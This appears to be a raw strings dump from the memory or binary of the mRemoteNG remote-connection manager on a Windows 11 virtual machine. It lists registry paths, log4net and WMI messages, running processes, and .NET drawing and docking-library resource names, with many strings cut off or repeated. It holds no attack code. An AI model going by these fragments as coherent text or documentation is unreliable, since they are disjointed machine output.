LastEntry SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\Dynamic DST SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\Dynamic DST SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\Dynami MUI_Display MUI_Std MUI_Dlt Display @tzres.dll,-320 @tzres.dll,-320 @tzres.dll,-322 @tzres.dll,-322 @tzres.dll,-321 @tzres.dll,-321 @tzres.dll -320 C:\WINDOWS\system32 C:\WINDOWS\system32 tzres.dll C:\WINDOWS\system32\tzre @tzres.dll -322 C:\WINDOWS\system32 C:\WINDOWS\system32 tzres.dll C:\WINDOWS\system32\tzres.dll @tzres.dll -321 C:\WINDOWS\system32 C:\WINDOWS\system32 tzres.dll C:\WINDOWS\system32\tzres.dll soft .NET CLR 4.0.30319.42000 (UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vi (UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna W. Europe Standard< W. Europe Standard Time W. Europe Daylight< W. Europe Daylight Time TextLogMessageWriterWriteInfoMsgs Exception while logging No appenders could be found for logger [ ] repository [ Please initialize the log4net system properly. Current AppDomain context information: BaseDirectory : FriendlyName : DynamicDirectory: Failed to append to appender [ Attempted to append to closed appender named [ Failed in DoAppend No output stream or file set for the appender named [ Output stream for appender named [ ] has been closed. AppenderSkeleton: No layout set for the appender named [ Error occurred while converting date. 2026-02-24, 2026 2026-02-24 09: Failed to write [ Security exception while trying to get current thread ID. Error Ignored. Empty thread name. Command Line: Path C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG Command Line: C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe SELECT * FROM Win32_OperatingSystem WHERE Primary=True Caption Error retrieving operating system information from WMI. //./root/cimv2 51372AE0-CAE7-11CF-BE81-00AA00A2FA25 000001ce-0000-0000-C000-000000000046 \\.\root\cimv2 mRemoteNG mRem \\.\root\cimv2 __GENUS __path __PATH __RELPATH \\WINDOWS11\root\cimv2:Win32_OperatingSystl \\.\root\cimv2 \\.\root\c, Microsoft Windows 11 Pro Microsoft Windows 11 ServicePackMajorVersion Service Pack {0} \\.\root\cimv2 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= Microsoft Windows 11 SELECT * FROM Win32_Processor WHERE DeviceID='CPU0' AddressWidth {0}-bit Error retrieving operating system address width from WMI. \\.\root\cimv2 RemoteActivationService.rem property name prop LeaseLifeTimeServiceProperty soap: http://schemas.microsoft.com/clr/ http://schemas.microsoft.com/clr/assem/ http://schemas.microsoft.com/clr/ns/ http://schemas.microsoft.com/clr/nsassem/ System.Management.WbemDe System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Management.WbemDefPath, System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Connect Remote /RemoteActivationService.rem System.Management system.management System.Management.WbemDefPath, system.management WbemDefPath system.management WbemDefPath, system.management system.management System.Management.WbemDefPath, system.management system.management, version=4.0.0.0, culture=neutral, publickeytoken=b03f5f7f11d50a3a System.Management.WbemDefPath, system.management, version=4.0.0.0, culture=neutral, publickeytoken=b03f5f7f11d50a3a system.management WbemDefPath, system.manage system.management System.Management.WbemDefPath, system.management system.management WbemDefPath, system.management system.management System.Management.WbemDefPath, system.management system.management, version=4.0.0.0, culture=neutral, publickeytoken=b03f5f7f11d50a3a System.Management.WbemDefPath, system.management, version=4.0.0.0, culture=neutral, publickeytoken=b03f5f7f11d50a3a system.management WbemDefPath, system.manage system.management System.Management.WbemDefPath, system.management system.management WbemDefPath, system.management system.management System.Management.WbemDefPath, system.management system.management, version=4.0.0.0, culture=neutral, publickeytoken=b03f5f7f11d50a3a System.Management.WbemDefPath, system.management, version=4.0.0.0, culture=neutral, publickeytoken=b03f5f7f11d50a3a system.management WbemDefPath, system.manage \\.\root\cimv2 \wminet_utils.dll ResetSecurity SetSecurity BlessIWbemServices BlessIWbemServicesObject GetPropertyHandle WritePropertyValue Clone VerifyClientKey GetQualifierSet GetNames BeginEnumeration Next EndEnumeration GetPropertyQualifierSet GetObjectText SpawnDerivedClass SpawnInstance CompareTo GetPropertyOrigin InheritsFrom GetMethod PutMethod DeleteMethod BeginMethodEnumeration NextMethod EndMethodEnumeration GetMethodQualifierSet GetMethodOrigin QualifierSet_Get QualifierSet_Put QualifierSet_Delete QualifierSet_GetNames QualifierSet_BeginEnumeration QualifierSet_Next QualifierSet_EndEnumeration GetCurrentApartmentType GetDemultiplexedStub CreateInstanceEnumWmi CreateClassEnumWmi ExecQueryWmi ExecNotificationQueryWmi PutInstanceWmi PutClassWmi CloneEnumWbemClassObject ConnectServerWmi GetErrorInfo Initialize C:\Windows\Microsoft.NET\Framework\v4.0.30319\ C:\Windows\Microsoft.NET\Framework\v4.0.30319\ C:\Windows\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll SOFTWARE\Microsoft\.NETFramework\v4.0.30319 WMIDisableCOMSecurity SOFTWARE\Microsoft\.NETFramework\v4.0.30319 SOFTWARE\Microsoft\.NETFramework\v4.0.30319 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319 ExecutionContext_ExceptionInAsyncLocalNotification \\.\root\cimv2 \\.\root\cimv2 \\WINDOWS11\root\cimv2:Win32_Processor.DeviceID="CPU0" \\.\root\cimv2 \\.\root\c, 64-bit Microsoft Windows 11 Pro 64-bit 2026-02-24 09:07:24 2026 2026-02-24 09:07:24 Microsoft .NET CLR {0} 4.0.30319.42000 4.0.30319. Microsoft .NET CLR 4.0.30319.42000 System Culture: si-LK English (United States) System Culture: en-US/English (United States) OverrideFIPSCheck is set. Will skip check... Checking FIPS Policy... User requests that FIPS check be overridden OverrideFIPSCheck System\CurrentControlSet\Control\Lsa FIPSAlgorithmPolicy System\CurrentControlSet\Control\Lsa System\CurrentControlSet\Control HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro System\CurrentControlSet\Control\Lsa\FIPSAlgorithmPolicy Enabled System\CurrentControlSet\Control\Lsa\FIPSAlgorithmPolicy System\CurrentControlSet\Control\Lsa\FIPSAlgorithmPo HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FIPSAlgorithmPolicy Checking Lenovo AutoScroll Utility... virtscrl Error in CheckLenovoAutoScrollUtility CompatibilityWarnLenovoAutoScrollUtility SeDebugPrivilege System Idle Handle Count Pool Paged Bytes Pool Nonpaged Bytes Elapsed Time Virtual Bytes Peak Virtual Bytes Private Bytes Page File Bytes Page File Bytes Peak Working Set Peak Working Set ID Thread ID Process Priority Base Priority Current % User Time % Privileged Time Start Address Thread State Thread Wait Reason .exe Registry smss.exe .exe smss csrss.exe .exe csrss wininit.exe .exe wininit csrss.exe .exe csrss winlogon.exe .exe winlogon services.exe .exe services lsass.exe .exe lsass svchost.exe .exe svchost fontdrvhost.exe .exe fontdrvhost fontdrvhost.exe .exe fontdrvhost svchost.exe .exe svchost dwm.exe .exe svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost Memory Compression svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost spoolsv.exe .exe spoolsv svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost MpDefenderCoreService.exe .exe MpDefenderCoreService VGAuthService.exe .exe VGAuthService vm3dservice.exe .exe vm3dservice vmtoolsd.exe .exe vmtoolsd MsMpEng.exe .exe MsMpEng vm3dservice.exe .exe vm3dservice dllhost.exe .exe dllhost dllhost.exe .exe dllhost msdtc.exe .exe msdtc WmiPrvSE.exe .exe WmiPrvSE svchost.exe .exe svchost svchost.exe .exe svchost sihost.exe .exe sihost svchost.exe .exe svchost svchost.exe .exe svchost svchost.exe .exe svchost MicrosoftEdgeUpdate.exe .exe MicrosoftEdgeUpdate taskhostw.exe .exe taskhostw explorer.exe .exe explorer svchost.exe .exe svchost ShellHost.exe .exe ShellHost AggregatorHost.exe .exe AggregatorHost CrossDeviceResume.exe .exe CrossDeviceResume svchost.exe .exe svchost VSSVC.exe .exe VSSVC SearchIndexer.exe .exe SearchIndexer svchost.exe .exe svchost svchost.exe .exe svchost StartMenuExperienceHost.exe .exe StartMenuExperienceHost WidgetBoard.exe .exe WidgetBoard RuntimeBroker.exe .exe RuntimeBroker svchost.exe .exe svchost WmiPrvSE.exe .exe WmiPrvSE WidgetService.exe .exe WidgetService backgroundTaskHost.exe .exe backgroundTaskHost backgroundTaskHost.exe .exe backgroundTaskHost backgroundTaskHost.exe .exe backgroundTaskHost svchost.exe .exe svchost MicrosoftStartFeedProvider.exe .exe MicrosoftStartFeedProvider MidiSrv.exe .exe MidiSrv WmiApSrv.exe .exe WmiApSrv audiodg.exe .exe audiodg ctfmon.exe .exe ctfmon NisSrv.exe .exe NisSrv RuntimeBroker.exe .exe RuntimeBroker RuntimeBroker.exe .exe RuntimeBroker SearchHost.exe .exe SearchHost msedgewebview2.exe .exe msedgewebview2 msedgewebview2.exe .exe msedgewebview2 msedgewebview2.exe .exe msedgewebview2 msedgewebview2.exe .exe msedgewebview2 msedgewebview2.exe .exe msedgewebview2 msedgewebview2.exe .exe msedgewebview2 smartscreen.exe .exe smartscreen SecurityHealthSystray.exe .exe SecurityHealthSystray SecurityHealthService.exe .exe SecurityHealthService vmtoolsd.exe .exe vmtoolsd OneDrive.exe .exe OneDrive taskhostw.exe .exe taskhostw mRemoteNG.exe .exe mRemoteNG C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe Parsing cmdline arguments TextLogMessageWriterWriteDebugMsgs NotificationPanelWriterWriteDebugMsgs PopupMessageWriterWriteDebugMsgs ^-{1,2}|^/|=|: ^['"]?(.*?)['"]?$ Creating new Args failed REGEX_DEFAULT_MATCH_TIMEOUT 9:en-CH:^-{1,2}|^/|=|: QuantifyAfterNothing NestedQuantify abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ en-ch en-ch __InternalRegexIgnoreCase__ IsAlphabeticPresentationForms IsArabic IsArabicPresentationForms-A IsArabicPresentationForms-B IsArmenian IsArrows IsBasicLatin IsBengali IsBlockElements IsBopomofo IsBopomofoExtended IsBoxDrawing IsBraillePatterns IsBuhid IsCJKCompatibility IsCJKCompatibilityForms IsCJKCompatibilityIdeographs IsCJKRadicalsSupplement IsCJKSymbolsandPunctuation IsCJKUnifiedIdeographs IsCJKUnifiedIdeographsExtensionA IsCherokee IsCombiningDiacriticalMarks IsCombiningDiacriticalMarksforSymbols IsCombiningHalfMarks IsCombiningMarksforSymbols IsControlPictures IsCurrencySymbols IsCyrillic IsCyrillicSupplement IsDevanagari IsDingbats IsEnclosedAlphanumerics IsEnclosedCJKLettersandMonths IsEthiopic IsGeneralPunctuation IsGeometricShapes IsGeorgian IsGreek IsGreekExtended IsGreekandCoptic IsGujarati IsGurmukhi IsHalfwidthandFullwidthForms IsHangulCompatibilityJamo IsHangulJamo IsHangulSyllables IsHanunoo IsHebrew IsHighPrivateUseSurrogates IsHighSurrogates IsHiragana IsIPAExtensions IsIdeographicDescriptionCharacters IsKanbun IsKangxiRadicals IsKannada IsKatakana IsKatakanaPhoneticExtensions IsKhmer IsKhmerSymbols IsLao IsLatin-1Supplement IsLatinExtended-A IsLatinExtended-B IsLatinExtendedAdditional IsLetterlikeSymbols IsLimbu IsLowSurrogates IsMalayalam IsMathematicalOperators IsMiscellaneousMathematicalSymbols-A IsMiscellaneousMathematicalSymbols-B IsMiscellaneousSymbols IsMiscellaneousSymbolsandArrows IsMiscellaneousTechnical IsMongolian IsMyanmar IsNumberForms IsOgham IsOpticalCharacterRecognition IsOriya IsPhoneticExtensions IsPrivateUse IsPrivateUseArea IsRunic IsSinhala IsSmallFormVariants IsSpacingModifierLetters IsSpecials IsSuperscriptsandSubscripts IsSupplementalArrows-A IsSupplementalArrows-B IsSupplementalMathematicalOperators IsSyriac IsTagalog IsTagbanwa IsTaiLe IsTamil IsTelugu IsThaana IsThai IsTibetan IsUnifiedCanadianAboriginalSyllabics IsVariationSelectors IsYiRadicals IsYiSyllables IsYijingHexagramSymbols _xmlC -/0;A[_`a{ _xmlD _xmlI :;A[_`a{ _xmlW $%+,0: -./0:;=> runtextbeg runtextend runtextstart runtextpos runtext runtrackpos runtrack runstackpos runstack runtrackcount EnsureStorage Capture TransferCapture Uncapture IsMatched MatchLength MatchIndex IsBoundary CharInClass IsECMABoundary Crawlpos CheckTimeout ToLower get_Chars get_CurrentCulture get_InvariantCulture Switch.System.Text.RegularExpressions.UseLegacyTimeoutCheck FindFirstChar InitTrackCount ppMacroSemanticTokenFormat"> CT_RAW [PrinterSettings Copies= Collate= Duplex= FromPage= LandscapeAngle= MaximumCopies= OutputPort= ToPage= InvalidPermissionState InvalidPermissionLevel TargetNotPrintingPermission IPermission class version Level Unrestricted InvalidClassName PrintingPermissionAttributeInvalidPermissionLevel TriStateCompareError Default False True uiItemImage handler AssemblyName DependentAssemblies Bitmap OriginalBitmap Company DotNET_ComponentType Description DisplayName Filter IsTransient TypeName ToolboxItemLocked PropertyNames Locked typeName ToolboxItemInvalidPropertyType ToolboxPersisting ToolboxItem: write data System.ComponentModel.Design.DateTimeEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.ComponentModel.Design.ArrayEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.ComponentModel.Design.CollectionEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.ComponentModel.Design.BinaryEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Windows.Forms.Design.StringArrayEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Windows.Forms.Design.StringCollectionEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a bitmapSuffix Time Resolution Page [FrameDimension: {6aedbd6d-3fb5-418a-83a6-7f45229dc872} {84236f7b-3bd3-428f-8dab-4ea1439ca315} {7462dc86-6180-4c7e-8e3f-ee7333a7a483} MemoryBMP Jpeg Tiff Exif [ImageFormat: {b96b3caa-0728-11d3-9d7b-0000f81ef32e} {b96b3cab-0728-11d3-9d7b-0000f81ef32e} {b96b3cac-0728-11d3-9d7b-0000f81ef32e} {b96b3cad-0728-11d3-9d7b-0000f81ef32e} {b96b3cae-0728-11d3-9d7b-0000f81ef32e} {b96b3caf-0728-11d3-9d7b-0000f81ef32e} {b96b3cb0-0728-11d3-9d7b-0000f81ef32e} {b96b3cb1-0728-11d3-9d7b-0000f81ef32e} {b96b3cb2-0728-11d3-9d7b-0000f81ef32e} {b96b3cb3-0728-11d3-9d7b-0000f81ef32e} {b96b3cb4-0728-11d3-9d7b-0000f81ef32e} {b96b3cb5-0728-11d3-9d7b-0000f81ef32e} nativePath addingPath linearGradientMode InterpolationColorsCommon InterpolationColorsColorBlendNotSet InterpolationColorsInvalidColorBlendObject InterpolationColorsLength InterpolationColorsLengthsDiffer InterpolationColorsInvalidStartPosition InterpolationColorsInvalidEndPosition plgpts 0x{0:x8} - {1} at {0} {1}.{2}({3}) Top Stack Trace: Wrote an incorrect number of bytes NotImplemented HANDLELEAK HandleCollector: Track Win32 Handle Leaks TRACECOLLECT HandleCollector: Trace HandleCollector operations PERFTRACK Debug performance critical sections. world display InvalidFrame dataStream GdiPlusInitialization Tracks GDI+ initialization and teardown system.drawing.threaddata GdiplusGenericError GdiplusInvalidParameter GdiplusOutOfMemory GdiplusObjectBusy GdiplusInsufficientBuffer GdiplusNotImplemented GdiplusWrongState GdiplusAborted GdiplusFileNotFound GdiplusOverflow GdiplusAccessDenied GdiplusUnknownImageFormat GdiplusPropertyNotFoundError GdiplusPropertyNotSupportedError GdiplusUnsupportedGdiplusVersion GdiplusNotInitialized GdiplusUnknown memory rect lfHeight= , lfWidth= , lfEscapement= , lfOrientation= , lfWeight= , lfItalic= , lfUnderline= , lfStrikeOut= , lfCharSet= , lfOutPrecision= , lfClipPrecision= , lfQuality= , lfPitchAndFamily= , lfFaceName= [DEVMODE: dmDeviceName= , dmSpecVersion= , dmDriverVersion= , dmSize= , dmDriverExtra= , dmFields= , dmOrientation= , dmPaperSize= , dmPaperLength= , dmPaperWidth= , dmScale= , dmCopies= , dmDefaultSource= , dmPrintQuality= , dmColor= , dmDuplex= , dmYResolution= , dmTTOption= , dmCollate= , dmFormName= , dmLogPixels= , dmBitsPerPel= , dmPelsWidth= , dmPelsHeight= , dmDisplayFlags= , dmDisplayFrequency= , dmICMMethod= , dmICMIntent= , dmMediaType= , dmDitherType= , dmICCManufacturer= , dmICCModel= , dmPanningWidth= , dmPanningHeight= Accelerator Cursor EnhancedMetaFile Find Kernel ToolboxItemValueNotSerializable ToolboxItemInvalidKey HandleCollector.Add 4.0.0.0 System.Drawing.dll Microsoft Corporation. All rights reserved. 4.8.9221.0 30319 b77a5c561934e089 00000000000000000400000000000000 31bf3856ad364e35 0024000004800000940000000602000000240000525341310004000001000100B5FC90E7027F67871E773A8FDE8938C81DD402BA65B9201D60593E96C492651E889CC13F1415EBB53FAC1131AE0BD333C5EE6021672D9718EA31A8AEBD0DA0072F25D87DBA6FC90FFD598ED4DA35E44C398C454307E8E33B8426143DAEC9F596836F97C8F74750E5975C64E2189F45DEF46B2A2B1247ADC3652BF5C308055DA9 7cec85d7bea7798e 00240000048000009400000006020000002400005253413100040000010001008D56C76F9E8649383049F383C44BE0EC204181822A6C31CF5EB7EF486944D032188EA1D3920763712CCB12D75FB77E9811149E6148E5D32FBAAB37611C1878DDC19E20EF135D0CB2CFF2BFEC3D115810C3D9069638FE4BE215DBF795861920E5AB6F7DB2E2CEEF136AC23D5DD2BF031700AEC232F6C6B1C785B4305C123B37AB mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Data.OracleClient, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Numerics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Threading.Tasks.Dataflow, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 b03f5f7f11d50a3a 002400000480000094000000060200000024000052534131000400000100010007D1FA57C4AED9F0A32E84AA0FAEFD0DE9E8FD6AEC8F87FB03766C834C99921EB23BE79AD9D5DCC1DD9AD236132102900B723CF980957FC4E177108FC607774F29E8320E92EA05ECE4E821C0A5EFE8F1645C4C0C93C1AB99285D622CAA652C1DFAD63D745D6F2DE5F17E5EAF0FC4963D261C8A12436518206DC09334 tionCore.dll System.Windows.Forms.ApplicationConfigurationSection DpiAwareness EnableWindowsFormsHighDpiAutoResizing ToolStrip.DisableHighDpiImprovements CheckedListBox.DisableHighDpiImprovements DataGridView.DisableHighDpiImprovements Form.DisableSinglePassScalingOfDpiForms DisableDpiChangedMessageHandling DisableDpiChangedHighDpiImprovements AnchorLayout.DisableHighDpiImprovements MonthCalendar.DisableHighDpiImprovements AnchorLayout.EnableHighDpiImprovementsV2 style= CantTellPrinterName CantChangeImmutableObjects CantMakeIconTransparent ColorNotSystemColor DotNET_ComponentType GdiplusAborted GdiplusAccessDenied GdiplusCannotCreateGraphicsFromIndexedPixelFormat GdiplusCannotSetPixelFromIndexedPixelFormat GdiplusDestPointsInvalidParallelogram GdiplusDestPointsInvalidLength GdiplusFileNotFound GdiplusFontFamilyNotFound GdiplusFontStyleNotFound GdiplusGenericError GdiplusInsufficientBuffer GdiplusInvalidParameter GdiplusInvalidRectangle GdiplusInvalidSize GdiplusOutOfMemory GdiplusNotImplemented GdiplusNotInitialized GdiplusNotTrueTypeFont GdiplusNotTrueTypeFont_NoName GdiplusObjectBusy GdiplusOverflow GdiplusPropertyNotFoundError GdiplusPropertyNotSupportedError GdiplusUnknown GdiplusUnknownImageFormat GdiplusUnsupportedGdiplusVersion GdiplusWrongState GlobalAssemblyCache GraphicsBufferCurrentlyBusy GraphicsBufferQueryFail ToolboxItemLocked ToolboxItemInvalidPropertyType ToolboxItemValueNotSerializable ToolboxItemInvalidKey IllegalState InterpolationColorsColorBlendNotSet InterpolationColorsCommon InterpolationColorsInvalidColorBlendObject InterpolationColorsInvalidStartPosition InterpolationColorsInvalidEndPosition InterpolationColorsLength InterpolationColorsLengthsDiffer InvalidArgument InvalidBoundArgument InvalidClassName InvalidColor InvalidDashPattern InvalidEx2BoundArgument InvalidFrame InvalidGDIHandle InvalidImage InvalidLowBoundArgumentEx InvalidPermissionLevel InvalidPermissionState InvalidPictureType InvalidPrinterException_InvalidPrinter InvalidPrinterException_NoDefaultPrinter InvalidPrinterHandle ValidRangeX ValidRangeY NativeHandle0 NoDefaultPrinter NotImplemented PDOCbeginPrintDescr PDOCdocumentNameDescr PDOCdocumentPageSettingsDescr PDOCendPrintDescr PDOCoriginAtMarginsDescr PDOCprintControllerDescr PDOCprintPageDescr PDOCprinterSettingsDescr PDOCqueryPageSettingsDescr PrintDocumentDesc PrintingPermissionBadXml PrintingPermissionAttributeInvalidPermissionLevel PropertyValueInvalidEntry PSizeNotCustom ResourceNotFound TargetNotPrintingPermission TextParseFailedFormat TriStateCompareError toStringIcon toStringNone DCTypeInvalid bitmapSuffix system.drawing.threaddata ! #!%"'#)$+%-&/'1(3)5*7+9,;-=.?/A0E1I2M3Q4U5Y6]7a8e9i:m;q}? jjjjjj Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI Button Static REBAR Explorer::TreeView TREEVIEW 'BTw AllowEndUserDocking can only be false if running on Mono AllowEndUserNestedDocking can only be false if running on Mono value dockState DockPanelSkin DockPanelGradient AutoHideStripSkin DockPaneStripSkin DockPaneStripGradient DockPaneTabGradient dockPanelSuite DPS_EnableHighDpi Software\DockPanelSuite EnableHighDpi DPS_EnableMemoryLeakFix EnableMemoryLeakFix DPS_EnableMainWindowFocusLostFix EnableMainWindowFocusLostFix DPS_EnableNestedDisposalFix EnableNestedDisposalFix DPS_EnableFontInheritanceFix EnableFontInheritanceFix DPS_EnableContentOrderFix EnableContentOrderFix DPS_EnableActiveXFix EnableActiveXFix DPS_EnableDisplayingPaneFix EnableDisplayingPaneFix WeifenLuo.WinFormsUI.Docking.Resources DockIndicator_PaneDiamond DockIndicator_PaneDiamond_Bottom DockIndicator_PaneDiamond_Fill DockIndicator_PaneDiamond_HotSpot DockIndicator_PaneDiamond_HotSpotIndex DockIndicator_PaneDiamond_HotspotIndex_VS2012 DockIndicator_PaneDiamond_Left DockIndicator_PaneDiamond_Right DockIndicator_PaneDiamond_Top DockIndicator_PanelBottom DockIndicator_PanelBottom_Active DockIndicator_PanelFill DockIndicator_PanelFill_Active DockIndicator_PanelLeft DockIndicator_PanelLeft_Active DockIndicator_PanelRight DockIndicator_PanelRight_Active DockIndicator_PanelTop DockIndicator_PanelTop_Active DockPane_AutoHide DockPane_Close DockPane_Dock DockPane_Option DockPane_OptionOverflow Before applying themes all panes must be closed. Before applying themes all float windows must be closed. Before applying themes all dock contents must be closed. form panel floatWindow previousPane WeifenLuo.WinFormsUI.Docking.Strings Mono.Runtime Category_Docking Category_DockingNotification Category_Performance Category_PropertyChanged DockAreaEditor_FloatCheckBoxText DockContent_AllowEndUserDocking_Description DockContent_AutoHidePortion_Description DockContent_CloseButton_Description DockContent_CloseButtonVisible_Description DockContent_Constructor_InvalidForm DockContent_DockAreas_Description DockContent_DockStateChanged_Description DockContent_HideOnClose_Description DockContent_ShowHint_Description DockContent_TabPageContextMenu_Description DockContent_TabText_Description DockContent_ToolTipText_Description DockContentHandler_AutoHidePortion_OutOfRange DockContentHandler_DockAreas_InvalidValue DockContentHandler_DockPane_InvalidValue DockContentHandler_FloatPane_InvalidValue DockContentHandler_IsFloat_InvalidValue DockContentHandler_SetDockState_InvalidState DockContentHandler_SetDockState_NullPanel DockContentHandler_Show_InvalidBeforeContent DockContentHandler_Show_InvalidDockState DockContentHandler_Show_InvalidPrevPane DockContentHandler_Show_NullDockPanel DockContentHandler_Show_NullPane DockContentHandler_ShowHint_InvalidValue DockHandler_TabPageContextMenuStrip_Description DockIndicator_ToolTipText DockPane_ActiveContent_InvalidValue DockPane_Constructor_NullContent DockPane_Constructor_NullDockPanel DockPane_DockTo_InvalidContainer DockPane_DockTo_NoPrevPane DockPane_DockTo_NullContainer DockPane_DockTo_NullPrevPane DockPane_DockTo_SelfPrevPane DockPane_FloatWindow_InvalidValue DockPane_SetContentIndex_InvalidContent DockPane_SetContentIndex_InvalidIndex DockPane_SetDockState_InvalidState DockPaneCaption_ToolTipAutoHide DockPaneCaption_ToolTipClose DockPaneCaption_ToolTipOptions DockPanel_ActiveAutoHideContent_InvalidValue DockPanel_ActiveAutoHideContentChanged_Description DockPanel_ActiveContentChanged_Description DockPanel_ActiveDocumentChanged_Description DockPanel_ActivePaneChanged_Description DockPanel_AllowEndUserDocking_Description DockPanel_AllowEndUserNestedDocking_Description DockPanel_ContentAdded_Description DockPanel_ContentRemoved_Description DockPanel_DefaultFloatWindowSize_Description DockPanel_Description DockPanel_DockBottomPortion_Description DockPanel_DockLeftPortion_Description DockPanel_DockPanelSkin DockPanel_DockRightPortion_Description DockPanel_DockTopPortion_Description DockPanel_DocumentDragged_Description DockPanel_DocumentStyle_Description DockPanel_DocumentTabStripLocation DockPanel_LoadFromXml_AlreadyInitialized DockPanel_LoadFromXml_InvalidFormatVersion DockPanel_LoadFromXml_InvalidXmlFormat DockPanel_ParentForm_Invalid DockPanel_Persistor_XmlFileComment1 DockPanel_Persistor_XmlFileComment2 DockPanel_RightToLeftLayout_Description DockPanel_SetPaneIndex_InvalidIndex DockPanel_SetPaneIndex_InvalidPane DockPanel_ShowAutoHideContentOnHover_Description DockPanel_ShowCloseButtonOnEachTab_Description DockPanel_ShowDocumentIcon_Description DockPanel_SupportDeeplyNestedContent_Description DockPaneStrip_ToolTipClose DockPaneStrip_ToolTipWindowList FloatWindow_Constructor_NullDockPanel FloatWindow_SetPaneIndex_InvalidIndex FloatWindow_SetPaneIndex_InvalidPane IDockDragSource_DockTo_InvalidPanel enableAll enableHighDpi enableMemoryLeakFix enableMainWindowFocusLostFix enableNestedDisposalFix enableFontInheritanceFix enableContentOrderFix enableActiveXFix enableDisplayingPaneFix DockPanel FormatVersion DockLeftPortion DockRightPortion DockTopPortion DockBottomPortion ActiveDocumentPane ActivePane Contents Count Content PersistString AutoHidePortion IsHidden IsFloat Panes Pane DockState ActiveContent RefID DockWindows DockWindow ZOrderIndex NestedPanes PrevPane Alignment Proportion FloatWindows FloatWindow Bounds DockList index toolstrip DockIndicator_PaneDiamond DockIndicator_PaneDiamond_Bottom DockIndicator_PaneDiamond_Fill DockIndicator_PaneDiamond_HotSpot DockIndicator_PaneDiamond_HotSpotIndex DockIndicator_PaneDiamond_HotspotIndex_VS2012 DockIndicator_PaneDiamond_Left DockIndicator_PaneDiamond_Right DockIndicator_PaneDiamond_Top DockIndicator_PanelBottom DockIndicator_PanelBottom_Active DockIndicator_PanelFill DockIndicator_PanelFill_Active DockIndicator_PanelLeft DockIndicator_PanelLeft_Active DockIndicator_PanelRight DockIndicator_PanelRight_Active DockIndicator_PanelTop DockIndicator_PanelTop_Active DockPane_AutoHide DockPane_Close DockPane_Dock DockPane_Option DockPane_OptionOverflow Category_Docking Category_DockingNotification Category_Performance Category_PropertyChanged, DockAreaEditor_FloatCheckBoxText> DockContentHandler_AutoHidePortion_OutOfRangeG DockContentHandler_DockAreas_InvalidValuel DockContentHandler_DockPane_InvalidValue DockContentHandler_FloatPane_InvalidValue DockContentHandler_IsFloat_InvalidValue DockContentHandler_SetDockState_InvalidState DockContentHandler_SetDockState_NullPanel DockContentHandler_ShowHint_InvalidValue DockContentHandler_Show_InvalidBeforeContent DockContentHandler_Show_InvalidDockState DockContentHandler_Show_InvalidPrevPane DockContentHandler_Show_NullDockPanel DockContentHandler_Show_NullPane DockContent_AllowEndUserDocking_Description DockContent_AutoHidePortion_Description DockContent_CloseButtonVisible_Description DockContent_CloseButton_Description DockContent_Constructor_InvalidForm DockContent_DockAreas_Description DockContent_DockStateChanged_Description DockContent_HideOnClose_Description DockContent_ShowHint_Description DockContent_TabPageContextMenu_Description DockContent_TabText_Description DockContent_ToolTipText_Description DockHandler_TabPageContextMenuStrip_Description DockIndicator_ToolTipText DockPaneCaption_ToolTipAutoHide DockPaneCaption_ToolTipClose DockPaneCaption_ToolTipOptions DockPaneStrip_ToolTipClose DockPaneStrip_ToolTipWindowList DockPane_ActiveContent_InvalidValue DockPane_Constructor_NullContent DockPane_Constructor_NullDockPanel DockPane_DockTo_InvalidContainer DockPane_DockTo_NoPrevPane 